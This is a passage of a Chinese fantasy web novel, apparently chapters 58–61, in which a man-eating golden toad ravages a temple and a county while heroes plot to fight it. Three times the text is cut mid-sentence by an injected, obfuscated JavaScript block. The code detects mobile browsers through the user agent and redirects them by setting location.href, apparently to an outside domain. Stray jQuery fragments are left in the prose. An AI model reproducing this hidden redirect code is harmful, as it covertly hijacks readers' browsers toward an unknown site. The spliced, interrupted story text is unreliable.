沈灵均轻轻揽住她的腰,让她靠在自己怀里。她的身体微微发热,柔嫩的唇隔着衣服贴在他胸口,眼睛缓缓闭上,梦呓般地呢喃,“想起来了,我……喜欢你啊。” 身畔是酸江腐海,犹如地狱熔岩,他的心底却软成一片。 积善寺内,一片惨状。黄府家丁听令冲进寺庙,万万没想到会就此踏上黄泉。金蟾吃起人来干脆利落,一口一个,半数家丁转眼覆灭。 广义方丈攀上一颗松树,被金蟾一口咬掉半个身子,鲜血染红了池塘。金蟾伏在岸边,伸出长长的舌头,舔舐那血水。 听到动静的僧人过来查看,刚好见到方丈大师的另外半个身子从树上掉下来,落入金蟾张开的大口。 金蟾吞掉方丈,转过头,扑向新来的人肉。 僧人们平时受到严令,从不敢靠近池塘,料想不到寺中竟豢养了一头巨型妖兽。许多人当场吓傻,跑得慢的,都成了金蟾的食物。 金蟾大快朵颐,身子鼓胀,表皮越撑越开,把耳后的疙瘩都拉平了。 僧众吃尽,它蹲在月光下,身体伏低,呱呱叫了两声。 巨口一张,黄澄澄的金锭源源不断地涌出,顷刻堆成小山,肚皮缩小了一圈,还远远没有恢复原来的大小。此时的金蟾,用一根脚趾就能遮住井口,若非亲眼所见,实难相信它是从那么狭窄的一口井中逃出来的。 寺庙后门开了一条缝,一双惊恐的眼睛正紧盯着金蟾起伏的后背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084264|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黄仁反应甚快,一见金蟾挣脱锁链,吞掉了沈灵均和那红衣女子,就率先冲出寺庙。他隔着院墙,听里面哀嚎不绝,知道这妖兽在不停吞噬血肉,虽然怕得瑟瑟发抖,可两只脚牢牢扎在原地,愣是一步都没挪动。 金蟾吃得越多,吐得越多。今晚吃了这许多人,吐的金子足够装满十间库房了。 他为了巴结徐知县,应承的两万两银子,只不过是金蟾牙缝间漏下的一点零头。 黄仁把耳朵贴在墙上,听到人声渐息,咕声响起,便知道金蟾开始吐金子了。 好像有条无形的绳索牵引着他走回去,扒开门缝。眼前景象,终生难忘。满地黄金粲然生辉,映衬着小小的寺院如同仙境一般。月下檐、岸边树、水中石都镀了层金黄的影子,墙上地上残留的血迹,不过是无伤大雅的点缀。 金蟾蹲在池边,离开三丈远。满地金锭流淌。若是偷偷靠近,往怀里装上一点,料想这畜生不会察觉。 黄仁把腰弯得极低,几乎四肢着地,一点点匍匐前进。没走几步,指头就勾住了几颗金锭,扫入怀中。 再走几步,又是一把,再往前,又是一把,怀里装满了,就往袖子里塞,硌得手臂生疼。 不知不觉,他离金蟾越来越近。 后脖子突然感到一阵刺痛。 头顶阴影袭来,一只巨大的脚蹼踩住了他的手,无数金锭弹起来。黄仁悚然抬头,只觉一阵腥风扑面,金蟾的巨口缓缓张开,他可以看到长钩般的舌头,血迹斑驳的口腔,和漆黑的,深井般的喉咙。 “啊!” 千钧一发之际,金蟾忽然咕的一声,蜷起身子,放脱了他的手。 黄仁捡回一条命,连金锭也不要了,反身狂奔。 出门时回头望了一眼,金蟾肚皮朝上,挣扎扭动,庞大的身躯掀起金锭无数,像一阵阵黄金雨。 黄仁不敢逗留,一路逃出山门,跳上一辆自家的马车,狂奔回府。 府中一片混乱,逃回来的家丁都受惊过度,蜷缩在角落,瑟瑟发抖。侍妾围上来,哭哭啼啼,问老爷出了何事,全被他赶到一边。 他自己的心还在咚咚狂跳呢。 那畜生被他锁在井底十年,早已怀恨在心,一朝挣脱锁链,必定要十倍百倍地报复回来。此事无法善了,当务之急,是要收拾起这偌大的家业,远远避祸。 只要逃得够远,就能改头换面,东山再起。到那时候,谁还会把他和金蟾联系在一起?反正这妖又不会说话。 主意已定,他吩咐下人,连夜把舍得钱庄的账房管事全召集来,盘点账目,清算资财,搬得动的全部搬走,搬不动的,换成银票带走。 黄府众人彻夜未眠,一直忙乱到次日清晨,羲和驾着日车出行。 人人都在收拾值钱的东西,可值钱的东西实在太多了,没有三五天,如何收拾得完。 舍得钱庄关门谢客,庄内的现钱用一辆辆马车转移到府中。 黄仁坐在正厅发号施令,面前博山炉中燃着零陵香。香每短一截,金蟾的血盆大口就近一点。区区十年,他敢断定,那畜生不会忘记舍得钱庄的方位,也不会忘记黄府的所在。 有好几回,他几乎脱口而出,什么都不要了,一走了之!可看着身周广厦华堂,雕栏画栋,终究说不出口。 正焦灼间,小童来报,知县大人送来帖子,邀他晚间去庆真楼饮酒。 黄仁脸上肌肉耸动,心中飞快地盘算一番,冷笑道,“这倒提醒了我。积善寺大妖出世,捉妖师一朝殒命。我还没亲自向知县大人禀告呢。” 58. 仁义抵万金(六) 黄仁换下身上干净衣服,穿回逃出积善寺时那件脏污磨破的袍子,坐上马车,赶往县衙。 徐知县正坐在堂上,撑着头假寐,一见黄仁这副模样,吓了一跳。 “黄掌柜,这是怎么回事?” 黄仁双眼发直,扑通跪倒,“知县大人救命!昨夜积善寺妖兽吃人,把沈大人一口吞了!” 徐大人如遭雷击,“莫要胡说,这怎么可能?” 黄仁急道,“千真万确。小人亲眼所见,一只硕大的金蟾从井中窜出来,将全寺僧众一个一个吃尽,广义方丈身首异处,小人侥幸才逃出生天啊!” 满堂衙役皆耸动。 徐大人缓缓站起,颤声道,“沈灵均死了?” “大人!现在不是伤心的时候,得赶紧派人剿灭妖兽啊!” 徐大人头皮一阵阵发麻,“神巫署就指派了沈灵均一个,他都没了,本县哪里还派得出人!” 黄仁看了看衙役手中的钢刀。 “大人,如今全县百姓性命都系于您一人。县衙人手众多,又有兵器之利,一齐围攻那妖,或许可以取胜。” “那可是妖!凡人怎能抵挡?你要他们去送死吗?” “若放任不管,金蟾早晚会把全县之人吃光的!” 衙役们你看看我,我看看你,胆小的已在暗暗计划如何逃跑。沈灵均镇守南安县多年,战无不胜,没有他抵挡不了的妖。连他都死了,其他人还有什么指望。 徐知县眉头紧皱,问道,“那金蟾是什么来历?用刀砍它有没有用?” 他文人出身,科举致仕,不光不会捉妖,对人类的武器也知之甚少,刀是他唯一熟悉的兵刃。 黄仁声音有些发颤,“来历……小人不知。若把它的头砍掉,多半……就能杀死它了。” “好。传令下去,全县戒严,所有百姓关门闭户,不准外出。县衙全员出去寻找金蟾,一见到立刻砍死。” 黄仁道,“它从积善寺逃出,很可能还在那附近。” “听见了吗,往积善寺走。” 徐知县平时令行禁止,何等威风。这回发了话,满堂衙役却呆立不动。 他吼道,“你们聋了吗?” 师爷心知大家害怕,劝道,“大人,是否要留人在县衙保护?” 徐知县来回走了几步,天人交战一番,毅然道,“不必了,杀不掉妖兽,大家都是个死。” 黑衣皂靴的官差带着告示和沈大人的死讯,从县衙出发,跑遍了南安县的大街小巷。所到之处,人群如惊弓之鸟,商户关门,孩童噤声。偌大的南安县,转眼变作空城。 许小宝跟在衙役队伍里向南而行。这队人马出奇地慢,半个时辰才走出五里。空旷的道路上,人人紧握刀柄,紧张地四处乱瞟,惟恐那金蟾从犄角旮旯里蹦出来。 有两回,有人以为发现了妖踪,拔刀高声示警,结果只是黄铜门锁的一瞬反光,或是鸟雀受惊飞鸣的影子。 许小宝腿肚子打颤,不停地胡思乱想。出门前娘塞给他两个豆沙馅的包子,又甜又软,这么好吃的包子,以后怕是吃不到了。隔壁月姐姐前几日买了个超大的蝴蝶纸鸢,答应放的时候叫上他,他眼巴巴等了三天,看来再也等不到了。 眼泪不争气地往下流,许小宝狠狠吸了吸鼻子,遭到身旁前辈的一个白眼。 那人压低声音训斥他,“死也要死得有骨气,别丢了县衙的脸。” 亦步亦趋挨到积善寺,只见山门洞开,里面树木歪斜,灯柱倒伏。偌大一个寺庙,静得出奇,别说人声,连虫声鸟鸣都没有。 往里走了一段,空气中传来淡淡的血腥味,转过佛堂,所有人的眼睛都被晃了一下,呆在当场。 满地黄金,堆到足足三尺高,在日光下灿然生辉。 这是金锭山?还是金锭湖,金锭海? 当啷,长刀落地,一名衙役扑进金子堆里,抓起一枚,用后槽牙咬了咬,大喊,“是真的金子!” 有人出声提醒,“小心有毒!” 那人突然僵住,脸色煞白,用力抖落身上的金锭,倒退数步。 金子固然诱人,可这情形实在太过诡异。寺庙里无一活物,妖兽不知藏在何处,焉知这黄金不是陷阱。 众人又惊又疑,徘徊半天,想拿却不敢拿。还是许小宝眼尖,突然发现金锭山头露出一截漆黑的剑柄。 他壮起胆子,手脚并用爬过去,一把抓起。 三尺青峰映着日光,提在手里,沉甸甸的直往下坠。 “这不是沈大人的斩妖剑嘛!” 这柄剑的样子,县衙众人熟悉之极,沈大人从不离身的。剑下斩杀过许多妖孽。 如今长剑仍在,主人却葬身妖腹,怎不叫人唏嘘。 大家的眼神都黯淡了。 许小宝喃喃道,“这柄剑应当送回沈府,告慰沈大人在天之灵。” 一个时辰后,斩妖剑被送到沈府厅堂。 王妙仪靠在椅子上,哭得上气不接下气。沈伯亦是老泪纵横。 两人都不敢相信,沈灵均就这么死了。 王妙仪攥着那剑穗上的如意结,“这个结,是我拿去积善寺开过光,亲手给他系上的。保佑他平安喜乐,逢凶化吉。表哥他本领高强,这么多年与妖相斗,从无败绩,怎么会……” 沈伯抹着眼泪道,“他上回从那么高的地方跌下来,我就觉得不是好兆头。” “可你明明说过,表哥福泽深厚,能活一百八十岁!” “他原本是个有福气的,偏偏入了神巫署,这运势就急转直下了。” 沈伯年轻时学过几天相面。这些话平时憋在心里不敢说。如今说什么都晚了。 王妙仪脸色胀红,几欲崩溃,“那你怎么不拦着他?!” 沈伯眼睛发直,突然重重打了自己一掌,“都怪我。当年就算是穷死饿死,带着少爷沿街乞讨,也不该让他跟随那天一道人!” 他下手甚重,半边脸颊顿时肿了起来。 王妙仪扑过去抓着他的手,哭道,“又不是你的错!是他命不好……是我命不好……” 她和沈灵均从小失去双亲,相依为命,和沈伯名为主仆,其实情若家人。一老一少乍闻噩耗,哀伤欲绝,抱头痛哭。 “沈伯,你说会不会是我把他克死的?我一出生,就克死父母,长大了,又克死表哥……” “胡说!少爷下过命令,沈府不准有人说这样的胡话。” “可他不在了。以后没人能保护我了。” “小姐这是伤心过度了。少爷生前,最放心不下的就是你。你要保重身子,日后嫁个好夫婿,他在天上看着,也会高兴的。” 王妙仪透过泪眼,望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084265|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那青白色的剑锋,“我想去他出事的地方看看。” “万万使不得!那官差说了,金蟾还在外面流窜。何况,有人亲眼看见少爷被……被妖吃了。现场只留下这柄剑。” 王妙仪隐隐觉得不对,“剑身在此,那剑鞘呢?” “或许在那妖腹之中。” “妖既然能生吞剑鞘,为何留着剑身不吃?” “那就不知道了。或许掉在哪儿了。” 王妙仪脸上又淌下珠泪,“我要为表哥立碑。剑和剑鞘放在一起,才能配成一对。” 撑起这个家的人不在了,沈府如同风雨飘摇中的小舟,无依无靠。 下人来报,说又有人叩门。沈伯实在想不通,这风声鹤唳的时候,有谁会来。 他魂不守舍地走到门口,只见韩思年牵着一匹高头大马,神情肃穆,立在风中。 “韩公子?” “在下听到噩耗,立刻赶来。衙门告示说沈大人已经殒命……是真的么?” 沈伯喉头哽住,说不出话来。 “老伯节哀。” “韩公子,当此非常之时,不宜外出,您的好意心领了,快些回去吧。” “妖兽逃逸不知所踪,难道躲在家里就安全了?我有话对王姑娘说,烦请老伯引见。” 沈伯心想,小姐这会儿正哭鼻子,怎能见外人。何况她与你有什么话可说。 然而韩思年一再坚持,站在街上也实在危险,沈伯拗不过他,还是把他带了进去。 韩思年大步流星走到厅堂,对王妙仪草草施了一礼,“王姑娘,节哀顺变。” 王妙仪哭得双眼红肿,好半天才认出他来,“韩公子,你怎么来了?” 韩思年双拳紧握,凛然道,“沈大人的捉妖法器都放在哪儿?韩某想借来一用。 王妙仪和沈伯都愣住了。 “韩公子何出此言?” “南安县妖孽横行,百姓受害,非止一日。在下已经决定拜入神巫署,斩妖除魔,守卫一方安宁。” “你也会捉妖?” “虽然尚未拜师,但已有些心得。” 王妙仪和沈伯面面相觑。沈灵均当年七岁入门,据天一道人说,已算是太晚了。韩思年已过弱冠之年,哪还来得及从头学起?何况此道艰深,两人当年亲眼看到沈灵均为了练功,吃了无数苦头。难道韩思年是天纵奇才,竟能自学成才? “韩公子,莫要勉强了。那妖连表哥都吃了,人是斗不过它的。” 韩思年喊道,“难道你甘愿缩在这里等死?” 王妙仪长这么大,从没有人对她如此疾言厉色,吓得一个激灵。 沈伯不满,“你别吓到小姐!” 韩思年不依不饶,“王姑娘,你会不会捉妖?” “当……当然不会。你怎么净说些疯话?” “沈大人已经身死,我们活着的人绝不能坐以待毙。他的遗物,典籍、心法、武器,能用上的,都拿来!人定可以胜天,我就不信,合全县之力,还擒不下一只□□!王姑娘,你就不想为你表哥报仇吗?” 他眼中似有两团火焰熊熊燃烧。沈伯惊得合不拢嘴。王妙仪蓦地想起,表哥练剑练到兴起之时,好像也是这样的神情,孤勇、决绝、义无反顾。 她抹了抹眼泪,缓缓站起,小声道,“跟我来。” 59. 仁义抵万金(七) 砍柴用的斧子,压上全身力气,狠狠地砍在书房门板上,弹了回来。火星四溅,斧头当场卷了刃,门上连一丝痕迹都没留下。 大厨敲螺蛳壳用的小锤,对准了门把手,敲了一下又一下,震得手臂酸麻。那细细的圆环把手,没有任何变化。 花匠用来锄地的锄头,不顾三七二十一,对着门板猛砸,却被吸在上面,费了好大力气拔出来,还险些砸破了头。 韩思年瘫坐在地上,大口喘气,脚边扔了一圈用废的工具。 沈伯劝道,“韩公子,别白费力气了。这书房的禁制是少爷的师父天一道人设下的,没人能打开。就因为书房里有十分要紧的东西,才定下规矩,沈府下人除我以外都不许靠近内宅。小姐这么多年连个贴身丫鬟都没有,事事都要亲力亲为,不知受了多少委屈。现在好了,连少爷一条命都赔进去了……” 他对天一道人本就怨念颇深,这时借题发挥,说得停不下来。 韩思年灵光一闪,“禁制?若用上那把斩妖剑呢?” 他奔到大厅,把剑一提,杀气腾腾地冲回来。 王妙仪和沈伯害怕地缩到一边。 剑刃削上门板。那薄薄的木头表面似乎出现了一道凹痕。韩思年心头一喜,未及加劲,突觉手心滚烫,像被火舌燎了一下。剧痛撒手。剑掉在地上,剑锋泛出隐隐的蓝光。 他低头一看,掌心烫起了一圈水泡。 王妙仪道,“我想起来了,表哥说过,这剑上有法力附着,一般人驾驭不了。” 韩思年呆坐不动。王妙仪掏出手帕,包在他掌心伤处。那手帕上沾满了她的眼泪,冰凉濡湿,正好可以缓解灼痛。 “韩公子,你的好意我们心领了,先起来歇歇吧。” 韩思年活动了一下手掌,又拿起那柄剑,咧嘴笑道,“有王姑娘的手帕挡着,这剑就伤不到我了。” 王妙仪哭笑不得,“我给你帕子,可不是派这个用场。” “既然别的法器取不出来,那就用这柄剑和金蟾一斗。” “不行!这是表哥的遗物,你不准拿走!” “王姑娘,你若真心为你表哥着想,就跟我一起去。” 沈伯道,“这怎么可以?外面那么危险,小姐一个弱女子,谁来保护她?” 韩思年皱眉,“她是捉妖师的妹妹,并不比别人弱。” 王妙仪愣了。她一生都在表哥羽翼保护之下,从未想过自己是弱是强,也用不着去想。她就像所有待字闺中的千金小姐一样,明明是个活人,却活成一件装饰,有手有脚,却难得踏出家门。 或许,她本可以走出去的。 韩思年道,“我打算先去县衙毛遂自荐,再和众人共同商议对策。王姑娘,你来不来?” 王妙仪被一股前所未有的热情感染,心头激荡,脱口而出,“好!” 沈伯大叫,“小姐!绝对不能去!外面危险!” “别拦着我!从小到大,不管我想做什么,你都只会拦着我!” “少爷已经不在了,你要是再有个三长两短,叫我一个人怎么活啊。” 韩思年慨然道,“那就同去。多一个人多一份力。” 王妙仪当即跑回卧房,披上外袍,戴好幂篱。 沈伯眼看阻拦不住,只得吩咐下人紧锁门户,将小姐扶进马车,自己拖着一把老骨头,跨上马背。 春风和暖,玉川水寒,骏马长嘶,三人向着县衙,绝尘而去。 此时的南安县风声鹤唳,草木皆兵,人人都躲在家里议论纷纷。只有小和尚慧心心无挂碍,呼呼大睡,一觉睡到傍晚方醒。 他跳下床,在琳琅阁中转了一圈,不见季月的影子。 会使法术的漂亮姐姐已经离开一天一夜了。她走时明明说,会带好吃的、好玩的回来。慧心摸了摸自己憋下去的肚皮,暗暗担心。昨天白天大吃了一顿,险些撑死。现在,那熟悉饥饿感觉又回来了。 漂亮姐姐平日里似乎是不做饭的。厨房里不光没有菜蔬肉类等原材料,连米缸都是空的。唯一可以下锅的,就是自己从积善寺里偷出来的那颗大白菜了。 慧心望着翠玉般的叶子,咽了咽口水,坚决移开目光。 这是保命的东西,不到万不得已,不能动用。 漂亮姐姐一定会回来的。 他呆站了片刻,觉得有些口渴,便拿了只空碗去找水喝。琳琅阁没有水井,只在后院找到一只半满的大水缸。慧心看到自己的脸倒映在水面,干瘦憔悴,眼睛瞪得溜圆,额头上磕破的伤口尚未愈合,还在渗水。 他又想起前天晚上那可怕的一幕。他饿得浑身打颤,费劲吃奶的力气,刚把大白菜从土里刨出来,就被师兄们发现。他们把他架在井口,往下瞧去,里面黑咕隆咚,没有水,没有月影,只有地狱里传来的恶鬼哭嚎。 “慧心!慧心!” 慧心一个激灵,惊恐回头。只见慧觉师兄和慧能师兄的两颗头仍然卡在土里,两双眼睛却都睁开了,口中嗬嗬而呼。 “你这欺师灭祖的小贼,快把我们救出来!” 慧心小心翼翼地走过去,俯身细看。两人之中,到底是慧觉师兄体质更为强健,醒得早些,骂起人来中气十足,一如往昔。慧能师兄虽然睁开了眼,却神色迷离,没有完全清醒。 慧心把水碗放下,双手合十道,“阿弥陀佛,禀告两位师兄,你们身入土中,乃是此间主人的手笔,弟子如今寄人篱下,不敢忤逆主人的意思。” 慧觉道,“哪里来的恶毒主人?等我出去,头一个灭了他。” “这恐怕有些难。她法术高强,两位师兄都不是她的对手。” “原来是个江湖术士,他敢欺辱佛门弟子,来日必遭报应!” 一旁的慧能半梦半醒,迷迷糊糊地应道,“报应……报应……” 慧心讥讽道,“师兄平日里多造口业,焉知今日之祸不是你的报应。” 慧觉气得发抖,“你这无耻小贼,以为找个妖道做靠山,就能逃出如来佛的手掌心吗?” “师兄一再说我是贼,可我只是害怕饿死,半夜起来偷颗白菜吃。你们偷取的,可是人的性命。” “……你都看见什么了?” “那井下面有恶鬼,是也不是?” 慧觉不语,暗自转着念头。 井中那东西的真身,连他们这些心腹弟子也没见过,只是听从方丈的安排,每隔一段时间,扔几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他端起水碗,捧到慧觉嘴边。慧觉咕嘟咕嘟一口气喝干,嚷着还要。他又去大水缸里舀了一碗,喂给慧能。慧能神志不清,清水顺着嘴角流出来,滴进土里。 慧觉心急大叫,“给他喝干什么?真浪费!给我,给我!” 慧心瞪了他一眼,稚气的脸上竟有一股威严之气。慧觉当即闭嘴。 他又给两人各喂了一碗水,说道,“吃的东西没有了,要等主人回来。两位师兄且忍一忍。” 慧觉骂道,“臭小子,你就不能出去讨要么?” “方丈大师派了你们两个来抓我,焉知不会再派别人?我可不敢出门。” 慧心望着慧觉凶恶的面孔,童心忽起。 “主人离开前吩咐,给你们浇点水,施点肥,第一件事已办妥了,第二件我即刻就办。” 他绕到两颗脑袋背后,拉开裤子,对着土堆,畅快地尿了一泡。 慧觉听见水声,鼻中闻到一股骚臭之气,心知这臭小子正在“施肥”,直气得目眦欲裂,几欲晕去。他身为广义心腹,在寺中一贯横着走,僧众们巴结讨好还来不及,何曾受过如此奇耻大辱。 他用力挣了几下,可土堆就像焊死了一般,纹丝不动。他在心里把慧心的十八辈祖宗都骂遍了,暗暗发誓,一旦脱困,定要把这小子碎尸万段。 60. 仁义抵万金(八) 韩思年一行人赶到县衙,见公堂之上站满了人,徐知县正在厉声斥责下属。 “去了这么久,绕了个大圈子,连妖的影子都没见到,一帮饭桶!” 为首的衙役小声辩驳,“小的们赶到积善寺,见到生平未见的奇景,赶着回来向大人禀告。” “我看你们是胆小如鼠,巴不得躲在县衙当缩头乌龟!” 韩思年抢上前,“大人息怒,不妨先听听他们见到了什么。” 徐知县盯着他看了半天,像见了鬼一样,“你是从哪里冒出来的?!如今县衙成茶馆了,随便什么人都能进了?来人,给我打出去!” 韩思年连忙跪倒,“在下韩思年,这位是沈府的王姑娘,这位是沈伯,我们前来投奔,想助大人捉拿妖孽,还百姓安宁。” 韩府在南安县颇有声望,徐知县见他是世家弟子,勉强按捺住打人的念头,转向另外两个。 “老弱妇孺不在家待着,来县衙做甚?” “这位王姑娘,是沈大人的表妹。” 王妙仪跪倒在地,颤声道,“启禀大人,小女子愿竭尽全力,为表哥报仇雪恨!” 公堂上一片寂静,众人见她白布遮面,身形单薄,语声悲愤,楚楚可怜,想起沈灵均,心头皆感哀戚。 徐大人叹了口气。 “罢了罢了,你们退到一旁,别碍手碍脚。” 这是默许他们留下。三人走到公堂一侧。黄仁起身,把王妙仪让到上座。 “王姑娘,人死不能复生,节哀顺变。在下黄仁,和沈大人曾有过一面之缘。” 王妙仪还了一礼。 两名衙役抬上来一个沉重的箱子,盖子一开,里面装着满满当当的金锭,晃到了所有人的眼睛。 “积善寺里全都是金锭,堆得像一个小湖。像这样的箱子,至少能装二十个。” 徐知县大感惊奇,“黄掌柜,这是怎么回事?” 黄仁装作惊讶,“小人不知。小人从积善寺逃出时,并未见到什么金锭。” “拿上来,让本县仔细看看。” 衙役们费劲地把箱子抬到徐知县跟前,他抓起一块金锭,摩挲片刻,忽然瞪大眼睛,“黄掌柜,这形状大小,怎么和你金库里的一模一样?” 黄仁恭谨地走上前,拿起一块细看,“启禀大人,各个钱庄的金锭形制大同小异,主要靠上面的印记来区分,这形状虽有点像,却没有我舍得钱庄的印记。” 韩思年听得糊涂了,忍不住插嘴,“不是在查妖兽吃人案么,怎么研究起金子来了?” 衙役抢着说,“大人,我等查探积善寺后,有个大胆的猜想。黄掌柜言道,积善寺数十名僧众皆被吃尽,现场却无故出现大量黄金。会不会那金蟾,吃的是人肉,吐的是黄金?” 众人心头大震,从来只听说妖吃人不吐骨头,没听说还会吐金子的。 王妙仪只觉得毛骨悚然。 黄仁手一抖,金锭啪地一声,落回箱子里。 徐知县沉吟道,“是又如何?难道那些金锭能把妖引出来?” 衙役心存侥幸,“小的们在积善寺附近找了一圈,什么都没发现。或许那妖自行走了。” 黄仁暗暗摇头,心道,绝不可能。 徐知县一拍桌子,咆哮道,“哪有这等好事!它吃饱了睡上一觉,醒来又要吃人了!你们都给我上街去,哪怕掘地三尺也要把它找出来!” 衙役们不敢公然抗命,只得垂头丧气,磨磨蹭蹭地往外走。 韩思年正要跟上,听到身后王妙仪向黄仁问道,“黄掌柜,我表哥他……遇难时是何情形?” 沈伯的心揪了起来,既想听,又不忍听,还怕小姐听了更增伤心。 黄仁道,“当时一片混乱,金蟾突然出现,我吓得狠了,一心只想往外逃,沈大人还没来得及拔剑,就被一口吞了。” “连人带剑一起吞了?” “正是。” 韩思年皱起眉头。斩妖剑用层层白布包裹,此刻正背在他身后。 王妙仪也觉得有疑,又问,“表哥深夜去积善寺做什么?” “如今想来,必是察觉了那里有妖,前去捉拿,未曾想……唉,生死有命,富贵在天,世事难料啊。” 韩思年道,“黄掌柜,你去积善寺,所为何事?” 黄仁瞟了他一眼,“黄某一心向佛,常年向寺庙捐献功德,与方丈广义大师素有来往。他有意在寺中兴建一座佛塔,找我前去商议。” “寺中有妖,他可知情?” “若是知情,怎会被那妖一口咬掉半个身子?唉,可怜,可怜。” “黄掌柜死里逃生,为何不回府休养?” “我毕竟亲眼见到了金蟾。想着留在此处,或许能为徐大人提供一些线索。” 韩思年还想再问,忽见一个妇人大哭着跑来,歇斯底里地喊道,“知县大人!妖兽闯入豆市巷,把我儿子吃了!” 众人都吓得一个激灵。只见她头发散乱,左胳膊血痕宛然,跑掉了一只鞋,扑倒在地放声大哭。 徐知县大吼,“快!所有人带上刀,去豆市巷围捕妖兽!” 衙役们得令,来不及整肃队列,鱼贯而出。 许小宝慌里慌张地系腰带,一不小心落在最后,被黄仁一把拉住,拽到一边。黄仁耳语了几句,许小宝眼睛瞪得老大。黄仁又塞了一枚金锭在他手里,许小宝迟疑片刻,点了点头,快步去了。 王妙仪也想跟去,被沈伯死死拦住。韩思年凑在她耳边,飞快地说着什么。王妙仪的白色幂篱微微颤动,应了一声。韩思年直起身子,正了正背上的斩妖剑,跟着衙役奔出大门。 豆市巷离此处只有三条街。 他很快就要见到那只吃人恶妖了。 徐知县虽然对妖知之甚少,这回却猜得不错。金蟾吐完了金子,便陷入沉睡。 它一睡着,胃液就渐渐平静下来,维持金钟罩也容易许多。沈灵均撤回一成功力,收敛心神,闭目苦思脱困之法。 他修的是玄门正宗,与妖天生相克。只要动用功力,必会伤到季月。除非用一双肉掌冲杀出去。可这金蟾的胃壁强韧无比,能轻易磨碎骨肉,没有利器,实难突破。 脖子底下一阵发痒,低头一看,季月不知何时又醒了。长睫毛忽闪忽闪,蹭着他的皮肤,漆黑的眼眸中仍是一片迷茫之色。 “你是谁呀?” 沈灵均无语。妖的记性真差,连喜欢的人长什么样都不记得。 “……睡得好么?” 季月使劲嗅了嗅,厌恶地皱起鼻子,“咦,你的气味怎么如此难闻?” “这不是我的气味,是妖的气味。我们现在在妖腹之中。” “我们被吃了?” “嗯,不过很快就能出去了。” 她一怔,安心地靠回去,“那就好。” “你知不知道金蟾害怕什么?” “什么金蟾?” 沈灵均暗暗叹了 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好在季月眼神闪烁,身子晃了晃,又倒在他怀里,头埋进颈窝,手勾住脖子,整个人的姿态好像一株攀在墙上的花枝。 沈灵均紧了紧手臂,对着她头顶道,“不是生气,是担心。既怕你伤到别人,更怕别人伤到你。他们什么都不懂。你也什么都不懂。” 想了想,又道,“不懂也好。” 季月显然没有听见,眯了半晌,没头没脑地来了句,“可惜是个捉妖师,算了。” 他呼吸一滞,心头钝痛无边无际地蔓延开来,不自觉地提高嗓门。 “什么叫算了?” “不想喜欢了?” “你幼不幼稚?” “难道是儿戏吗?!” 扳过她肩头,用力摇晃几下,发现季月脸色苍白,双目紧闭,已陷入沉睡。 他怔忪片刻,不由地自嘲,“越发荒唐了。” 她本就是月季花妖,四处留情,怎会对他认真。可那股挥之不去的失落感,拖着五脏六腑直向下坠。 师父从前教导,心志不坚时,应当默念清心诀。他让季月靠在金钟罩上,艰难地盘腿打坐,还没念完一遍,就听到咕的一声巨响,天地倒悬。 金蟾睡醒了,精神矍铄地翻了个跟斗,落在地上,开始狂奔。 它似乎能感知方位,遇树钻树,遇水涉水,一路向北而去。胃液掀起惊涛骇浪,金钟罩在浪尖上扑腾。 转眼便到了豆市巷,金蟾鼻孔张开,用力嗅了嗅久违的五谷清香。 两只凸起的丑陋眼球中,光华闪动,溢满怨毒悲伤。前爪举起,刮下一大片屋瓦。 整条豆市巷都听到了巨响。人们透过窗纱,瞥见金蟾硕大的身形,吓得魂飞魄散,拼命往屋子深处藏。 金蟾长舌伸出,击碎一堵砖墙,半间屋子顿时倾塌。一个四五岁的小女孩蹲在地板上,满头满脸都是灰土,吓得呆了。 金蟾却放过了她,转头去拱隔壁的屋子。邻家妇人抱着个十岁左右的男孩,缩在床板之下。金蟾的长舌一钩一挑,在妇人手臂上划开一道深痕,把孩童卷入口中。 孩子皮肉细嫩,哪经得起酸液腐蚀,还没落入胃中,半边身子就只剩白骨。 沈灵均眼看幼小的骨骼落入胃液,心头大恨。这妖孽又在吃人了! 61. 仁义抵万金(九) 金蟾像踩碎玩具一样,毁掉了整条豆市巷,才来到舍得钱庄门口。 黄仁早有预料,前一天半夜就召集人手,搬运钱庄内的金锭银票。等到全县戒严之时,已经搬走了九成。钱庄只剩一个空壳。 金蟾一头撞入,将大门、匾额、厅堂、柜台捣得稀烂,院墙坍塌,屋顶崩裂,轰隆之声震耳欲聋,响个不绝。 很快,舍得钱庄夷为平地。整条巷子里,再也没有比金蟾更高的建筑了。 它打了个嗝,心满意足地趴在废墟之中,开始吐金子。 这一路上,沈灵均蓄起掌力,不停地击打金蟾胃壁。那重重叠叠的褶皱,有好几处被打得凹了进去。金蟾却不为所动,滚滚胃液中不断地凝聚起金锭,往外喷吐。 打了许久,金蟾似有所觉,抖了抖身体,换了个更舒服的姿势。 沈灵均心烦意乱,随口叫道,“阿月,你先醒一醒,打死这□□再睡!” 可季月一动不动,彻底躺平。袖口之中露出半面古朴的铜镜,光华内敛,似乎是件法器。 他甚是懊恼,若有一把剑在手,就好办了。 像是听到了他的心声,金蟾肚腹之外,有个熟悉的声音喊道,“孽畜!知道这是什么剑吗?” 